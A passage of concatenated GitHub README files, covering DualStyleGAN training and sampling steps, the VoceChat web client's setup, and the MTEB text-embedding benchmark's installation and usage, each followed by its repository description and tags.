are saved in `./checkpoint/cartoon/instyle_code.npy` and `./checkpoint/cartoon/exstyle_code.npy`, respectively. Intermediate results are saved in `./log/cartoon/destylization/`. To speed up destylization, set `--batch` to large value like 16. For styles severely different from real faces, set `--truncation` to small value like 0.5 to make the results more photo-realistic (it enables DualStyleGAN to learn larger structrue deformations). ### Progressive Fine-Tuning **Stage 1 & 2: Pretrain DualStyleGAN on FFHQ.** We provide our pretrained model [generator-pretrain.pt](https://drive.google.com/file/d/1j8sIvQZYW5rZ0v1SDMn2VEJFqfRjMW3f/view?usp=sharing) at [Google Drive](https://drive.google.com/drive/folders/1GZQ6Gs5AzJq9lUL-ldIQexi0JYPKNy8b?usp=sharing) or [Baidu Cloud](https://pan.baidu.com/s/1sOpPszHfHSgFsgw47S6aAA ) (access code: cvpr). This model is obtained by: > python -m torch.distributed.launch --nproc_per_node=1 --master_port=8765 pretrain_dualstylegan.py --iter 3000 --batch 4 ./data/ffhq/lmdb/ where `./data/ffhq/lmdb/` contains the lmdb data created from the FFHQ dataset via `./model/stylegan/prepare_data.py`. **Stage 3: Fine-Tune DualStyleGAN on Target Domain.** Fine-tune DualStyleGAN in distributed settings: ```python python -m torch.distributed.launch --nproc_per_node=N_GPU --master_port=PORT finetune_dualstylegan.py --iter ITERATIONS \ --batch BATCH_SIZE --ckpt PRETRAINED_MODEL_PATH --augment DATASET_NAME ``` The loss term weights can be specified by `--style_loss` (λ_FM), `--CX_loss` (λ_CX), `--perc_loss` (λ_perc), `--id_loss` (λ_ID) and `--L2_reg_loss` (λ_reg). λ_ID and λ_reg are suggested to be tuned for each style dataset to achieve ideal performance. More options can be found via `python finetune_dualstylegan.py -h`. Take the Cartoon dataset as an example, run (multi-GPU enables a large batch size of 8\*4=32 for better performance): > python -m torch.distributed.launch --nproc_per_node=8 --master_port=8765 finetune_dualstylegan.py --iter 1500 --batch 4 --ckpt ./checkpoint/generator-pretrain.pt --style_loss 0.25 --CX_loss 0.25 --perc_loss 1 --id_loss 1 --L2_reg_loss 0.015 --augment cartoon The fine-tuned models can be found in `./checkpoint/cartoon/generator-ITER.pt` where ITER = 001000, 001100, ..., 001500. Intermediate results are saved in `./log/cartoon/`. Large ITER has strong cartoon styles but at the cost of artifacts, and users may select the most balanced one from 1000-1500. We use 1400 for our paper experiments. ### (optional) Latent Optimization and Sampling **Refine extrinsic style code.** Refine the color and structure styles to better fit the example style images. ```python python refine_exstyle.py --lr_color COLOR_LEARNING_RATE --lr_structure STRUCTURE_LEARNING_RATE DATASET_NAME ``` By default, the code will load `instyle_code.npy`, `exstyle_code.npy`, and `generator.pt` in `./checkpoint/DATASET_NAME/`. Use `--instyle_path`, `--exstyle_path`, `--ckpt` to specify other saved style codes or models. Take the Cartoon dataset as an example, run: > python refine_exstyle.py --lr_color 0.1 --lr_structure 0.005 --ckpt ./checkpoint/cartoon/generator-001400.pt cartoon The refined extrinsic style codes are saved in `./checkpoint/DATASET_NAME/refined_exstyle_code.npy`. `lr_color` and `lr_structure` are suggested to be tuned to better fit the example styles. **Training sampling network.** Train a sampling network to map unit Gaussian noises to the distribution of extrinsic style codes: ```python python train_sampler.py DATASET_NAME ``` By default, the code will load `refined_exstyle_code.npy` or `exstyle_code.npy` in `./checkpoint/DATASET_NAME/`. Use `--exstyle_path` to specify other saved extrinsic style codes. The saved model can be found in `./checkpoint/DATASET_NAME/sampler.pt`. <br/> ## (4) Results #### Exemplar-based cartoon style trasnfer https://user-images.githubusercontent.com/18130694/158047991-77c31137-c077-415e-bae2-865ed3ec021f.mp4 #### Exemplar-based caricature style trasnfer https://user-images.githubusercontent.com/18130694/158048107-7b0aa439-5e3a-45a9-be0e-91ded50e9136.mp4 #### Exemplar-based anime style trasnfer https://user-images.githubusercontent.com/18130694/158048114-237b8b81-eff3-4033-89f4-6e8a7bbf67f7.mp4 #### Other styles <img src="https://user-images.githubusercontent.com/18130694/158049559-5450568f-170d-4847-88e1-d9bd12901966.jpg" width="48%"><img src="https://user-images.githubusercontent.com/18130694/158049562-e9971b49-ebd9-4300-bd08-34fc2473729f.jpg" width="48%"> <img src="https://user-images.githubusercontent.com/18130694/158049563-72718807-4bef-472d-8875-71eee22ae934.jpg" width="48%"><img src="https://user-images.githubusercontent.com/18130694/158049565-0322a005-c402-40bc-8bef-9b22a8ca3fd4.jpg" width="48%"> #### Combine DualStyleGAN with State-of-the-Art Diffusion model We use [StableDiffusion](https://github.com/lowfuel/progrock-stable) to generate face images of the specified style of famous artists. Trained with these images, DualStyleGAN is able to pastiche these famous artists and generates appealing results. <img src="https://user-images.githubusercontent.com/18130694/191216968-dbd0df0e-c8b8-447b-9aa1-6edaad1685f9.jpg" width="48%"><img src="https://user-images.githubusercontent.com/18130694/191217109-7a9aba10-2cfc-4981-a499-9b95ccab8080.jpg" width="48%"> <div align="center"> <img src="https://user-images.githubusercontent.com/18130694/191217162-9eece58d-96ac-48f3-b521-b68b950cc503.jpg" width="48%"> </div> ## Citation If you find this work useful for your research, please consider citing our paper: ```bibtex @inproceedings{yang2022Pastiche, title={Pastiche Master: Exemplar-Based High-Resolution Portrait Style Transfer}, author={Yang, Shuai and Jiang, Liming and Liu, Ziwei and Loy, Chen Change}, booktitle={CVPR}, year={2022} } ``` ## Acknowledgments The code is mainly developed based on [stylegan2-pytorch](https://github.com/rosinality/stylegan2-pytorch) and [pixel2style2pixel](https://github.com/eladrich/pixel2style2pixel).

[CVPR 2022] Pastiche Master: Exemplar-Based High-Resolution Portrait Style Transfer

style-transfer,face,stylegan2,stylegan-image-manipulation,toonify,caricatures,cvpr2022

Privoce/vocechat-web

# Web Client of VoceChat <center> <img src="./public/android-chrome-192x192.png" width="100" height="100"> </center> <p> <center> [](https://github.com/privoce/vocechat-web/issues)     </center> - 🎉 Powered by React & Redux Toolkit - ✅ Typescript - 📦 PWA - 📢 Notification by firebase ## Host your server! Or use our test server - Host your own Voce server ([docker image](https://hub.docker.com/r/privoce/vocechat-server/tags)): Run on x86_64 platform: ```bash docker run -d --restart=always \ -p 3000:3000 \ --name vocechat-server \ privoce/vocechat-server:latest ``` For more server hosting instructions, see our documentation: https://doc.voce.chat/ ## Preview - official site: https://voce.chat - live demo: https://privoce.voce.chat/ - demo API Docs (Swagger): https://dev.voce.chat/api/swagger - design: https://www.figma.com/file/EHnNr53kNmDWgUT86It6CH/UI - text editor: https://plate.udecode.io/docs/installation - markdown editor: https://nhn.github.io/tui.editor/latest/ - redux: [@reduxjs/toolkit](https://redux-toolkit.js.org/introduction/getting-started) - indexDB wrapper: https://github.com/localForage/localForage ## Local Development - `git clone https://github.com/Privoce/vocechat-web vocechat-web` - `cd vocechat-web & yarn install` - `yarn start` - Open `localhost:3009` ### Tools Recommended - [VS Code](https://code.visualstudio.com/) Editor Recommended - VS Code plugins: - [dbaeumer.vscode-eslint](https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint): ESLint - [esbenp.prettier-vscode](https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode): Prettier - [dsznajder.es7-react-js-snippets](https://marketplace.visualstudio.com/items?itemName=dsznajder.es7-react-js-snippets): Extensions for React, React-Native and Redux in JS/TS with ES7+ syntax ## License [GPL v3](https://github.com/Privoce/vocechat-web/blob/main/LICENSE) ## Thanks all the contributors <a href="https://github.com/privoce/vocechat-web/graphs/contributors"> <img src="https://contrib.rocks/image?repo=privoce/vocechat-web" /> </a> Discuss collaboration: han@privoce.com or https://bridger.chat/han Telegram group: https://t.me/opencfdchannel VoceChat: https://voce.chat Telegram channel: https://t.me/vocechat_group VoceChat Channel: https://privoce.voce.chat

VoceChat Web App

chat,indexdb,pwa,react,redux-toolkit,typescript,bot

embeddings-benchmark/mteb

<h1 align="center">Massive Text Embedding Benchmark</h1> <p align="center"> <a href="https://github.com/embeddings-benchmark/mteb/releases"> <img alt="GitHub release" src="https://img.shields.io/github/release/embeddings-benchmark/mteb.svg"> </a> <a href="https://arxiv.org/abs/2210.07316"> <img alt="GitHub release" src="https://img.shields.io/badge/arXiv-2305.14251-b31b1b.svg"> </a> <a href="https://github.com/embeddings-benchmark/mteb/blob/master/LICENSE"> <img alt="License" src="https://img.shields.io/github/license/embeddings-benchmark/mteb.svg?color=green"> </a> <a href="https://pepy.tech/project/mteb"> <img alt="Downloads" src="https://static.pepy.tech/personalized-badge/mteb?period=total&units=international_system&left_color=grey&right_color=orange&left_text=Downloads"> </a> </p> <h4 align="center"> <p> <a href="#installation">Installation</a> | <a href="#usage">Usage</a> | <a href="https://huggingface.co/spaces/mteb/leaderboard">Leaderboard</a> | <a href="#documentation">Documentation</a> | <a href="#citing">Citing</a> <p> </h4> <h3 align="center"> <a href="https://huggingface.co/spaces/mteb/leaderboard"><img style="float: middle; padding: 10px 10px 10px 10px;" width="60" height="55" src="./docs/images/hf_logo.png" /></a> </h3> ## Installation ```bash pip install mteb ``` ## Usage * Using a python script (see [scripts/run_mteb_english.py](https://github.com/embeddings-benchmark/mteb/blob/main/scripts/run_mteb_english.py) and [mteb/mtebscripts](https://github.com/embeddings-benchmark/mtebscripts) for more): ```python import mteb from sentence_transformers import SentenceTransformer # Define the sentence-transformers model name model_name = "average_word_embeddings_komninos" # or directly from huggingface: # model_name = "sentence-transformers/all-MiniLM-L6-v2" model = SentenceTransformer(model_name) tasks = mteb.get_tasks(tasks=["Banking77Classification"]) evaluation = mteb.MTEB(tasks=tasks) results = evaluation.run(model, output_folder=f"results/{model_name}") ``` * Using CLI ```bash mteb available_tasks mteb run -m sentence-transformers/all-MiniLM-L6-v2 \ -t Banking77Classification \ --verbosity 3 # if nothing is specified default to saving the results in the results/{model_name} folder ``` * Using multiple GPUs in parallel can be done by just having a custom encode function that distributes the inputs to multiple GPUs like e.g. [here](https://github.com/microsoft/unilm/blob/b60c741f746877293bb85eed6806736fc8fa0ffd/e5/mteb_eval.py#L60) or [here](https://github.com/ContextualAI/gritlm/blob/09d8630f0c95ac6a456354bcb6f964d7b9b6a609/gritlm/gritlm.py#L75). <br /> <details> <summary> Advanced Usage (click to unfold) </summary> ## Advanced Usage ### Dataset selection Datasets can be selected by providing the list of datasets, but also * by their task (e.g. "Clustering" or "Classification") ```python tasks = mteb.get_tasks(task_types=["Clustering", "Retrieval"]) # Only select clustering and retrieval tasks ``` * by their categories e.g. "s2s" (sentence to sentence) or "p2p" (paragraph to paragraph) ```python tasks = mteb.get_tasks(categories=["s2s", "p2p"]) # Only select sentence2sentence and paragraph2paragraph datasets ``` * by their languages ```python tasks = mteb.get_tasks(languages=["eng", "deu"]) # Only select datasets which contain "eng" or "deu" (iso 639-3 codes) ``` You can also specify which languages to load for multilingual/cross-lingual tasks like below: ```python import mteb tasks = [ mteb.get_task("AmazonReviewsClassification", languages = ["eng", "fra"]), mteb.get_task("BUCCBitextMining", languages = ["deu"]), # all subsets containing "deu" ] # or you can select specific huggingface subsets like this: from mteb.tasks import AmazonReviewsClassification, BUCCBitextMining evaluation = mteb.MTEB(tasks=[ AmazonReviewsClassification(hf_subsets=["en", "fr"]) # Only load "en" and "fr" subsets of Amazon Reviews BUCCBitextMining(hf_subsets=["de-en"]), # Only load "de-en" subset of BUCC ]) # for an example of a HF subset see "Subset" in the dataset viewer at: https://huggingface.co/datasets/mteb/bucc-bitext-mining ``` There are also presets available for certain task collections, e.g. to select the 56 English datasets that form the "Overall MTEB English leaderboard": ```python from mteb import MTEB_MAIN_EN evaluation = mteb.MTEB(tasks=MTEB_MAIN_EN, task_langs=["en"]) ``` ### Evaluation split You can evaluate only on `test` splits of all tasks by doing the following: ```python evaluation.run(model, eval_splits=["test"]) ``` Note that the public leaderboard uses the test splits for all datasets except MSMARCO, where the "dev" split is used. ### Using a custom model Models should implement the following interface, implementing an `encode` function taking as inputs a list of sentences, and returning a list of embeddings (embeddings can be `np.array`, `torch.tensor`, etc.). For inspiration, you can look at the [mteb/mtebscripts repo](https://github.com/embeddings-benchmark/mtebscripts) used for running diverse models via SLURM scripts for the paper. ```python class MyModel(): def encode( self, sentences: list[str], **kwargs: Any ) -> torch.Tensor | np.ndarray: """Encodes the given sentences using the encoder. Args: sentences: The sentences to encode. **kwargs: Additional arguments to pass to the encoder. Returns: The encoded sentences. """ pass model = MyModel() tasks = mteb.get_task("Banking77Classification") evaluation = MTEB(tasks=tasks) evaluation.run(model) ``` If you'd like to use different encoding functions for query and corpus when evaluating on Retrieval or Reranking tasks, you can add separate methods for `encode_queries` and `encode_corpus`. If these methods exist, they will be automatically used for those tasks. You can refer to the `DRESModel` at `mteb/evaluation/evaluators/RetrievalEvaluator.py` for an example of these functions. ```python class MyModel(): def encode_queries(self, queries: list[str], **kwargs) -> list[np.ndarray] | list[torch.Tensor]: """ Returns a list of embeddings for the given sentences. Args: queries: List of sentences to encode Returns: List of embeddings for the given sentences """ pass def encode_corpus(self, corpus: list[str] | list[dict[str, str]], **kwargs) -> list[np.ndarray] | list[torch.Tensor]: """ Returns a list of embeddings for the given sentences. Args: corpus: List of sentences to encode or list of dictionaries with keys "title" and "text" Returns: List of embeddings for the given sentences """ pass ``` ### Evaluating on a custom dataset To evaluate on a custom task, you can run the following code on your custom task. See [how to add a new task](docs/adding_a_dataset.md), for how to create a new task in MTEB. ```python from mteb import MTEB from mteb.abstasks.AbsTaskReranking import AbsTaskReranking from sentence_transformers import SentenceTransformer class MyCustomTask(AbsTaskReranking): ... model = SentenceTransformer("average_word_embeddings_komninos") evaluation = MTEB(tasks=[MyCustomTask()]) evaluation.run(model) ``` </details> <br /> ## Documentation | Documentation | | | ------------------------------ | ---------------------- | | 📋 [Tasks] | Overview of available tasks | | 📈 [Leaderboard] | The interactive leaderboard of the benchmark | | 🤖 [Adding a model] | Information related to how to submit a model to the leaderboard | | 👩‍🔬 [Reproducible workflows] | Information related to how to reproduce and create reproducible workflows with MTEB | | 👩‍💻 [Adding a dataset] | How to add a new task/dataset to MTEB |  | 👩‍💻 [Adding a leaderboard tab] | How to add a new leaderboard tab to MTEB |  | 🤝 [Contributing] | How to contribute to MTEB and set it up for development | | 🌐 [MMTEB] | An open-source effort to extend MTEB to cover a broad set of languages |   [Tasks]: docs/tasks.md [Contributing]: CONTRIBUTING.md [Adding a model]: docs/adding_a_model.md [Adding a dataset]: docs/adding_a_dataset.md [Adding a leaderboard tab]: docs/adding_a_leaderboard_tab.md [Leaderboard]: https://huggingface.co/spaces/mteb/leaderboard [MMTEB]: docs/mmteb/readme.md [Reproducible workflows]: docs/reproducible_workflow.md ## Citing MTEB was introduced in "[MTEB: Massive Text Embedding Benchmark](https://arxiv.org/abs/2210.07316)", feel free to cite: ```bibtex @article{muennighoff2022mteb, doi = {10.48550/ARXIV.2210.07316}, url = {https://arxiv.org/abs/2210.07316}, author = {Muennighoff, Niklas and Tazi, Nouamane and Magne, Lo{\"\i}c and Reimers, Nils}, title = {MTEB: Massive Text Embedding Benchmark}, publisher = {arXiv}, journal={arXiv preprint arXiv:2210.07316}, year = {2022} } ``` You may also want to read and cite the amazing work that has extended MTEB & integrated new datasets: - Shitao Xiao, Zheng Liu, Peitian Zhang, Niklas Muennighoff. "[C-Pack: Packaged Resources To Advance General Chinese Embedding](https://arxiv.org/abs/2309.07597)" arXiv 2023 - Michael Günther, Jackmin Ong, Isabelle Mohr, Alaeddine Abdessalem, Tanguy Abel, Mohammad Kalim Akram, Susana Guzman, Georgios Mastrapas, Saba Sturua, Bo Wang, Maximilian Werk, Nan Wang, Han Xiao. "[Jina Embeddings 2: 8192-Token General-Purpose Text Embeddings for Long Documents](https://arxiv.org/abs/2310.19923)" arXiv 2023 - Silvan Wehrli, Bert Arnrich, Christopher Irrgang. "[German Text Embedding Clustering Benchmark](https://arxiv.org/abs/2401.02709)" arXiv 2024 - Orion Weller, Benjamin Chang, Sean MacAvaney, Kyle Lo, Arman Cohan, Benjamin Van Durme, Dawn Lawrie, Luca Soldaini. "[FollowIR: Evaluating and Teaching Information Retrieval Models to Follow Instructions](https://arxiv.org/abs/2403.15246)" arXiv 2024 - Dawei Zhu, Liang Wang, Nan Yang, Yifan Song, Wenhao Wu, Furu Wei, Sujian Li. "[LongEmbed: Extending Embedding Models for Long Context Retrieval](https://arxiv.org/abs/2404.12096)" arXiv 2024 - Kenneth Enevoldsen, Márton Kardos, Niklas Muennighoff, Kristoffer Laigaard Nielbo. "[The Scandinavian Embedding Benchmarks: Comprehensive Assessment of Multilingual and Monolingual Text Embedding](https://arxiv.org/abs/2406.02396)" arXiv 2024 For works that have used MTEB for benchmarking, you can find them on the [leaderboard](https://huggingface.co/spaces/mteb/leaderboard).

MTEB: Massive Text Embedding Benchmark

benchmark,clustering,information-retrieval,sentence-transformers,sts,text-embedding,retrieval,neural-search,semantic-search,sbert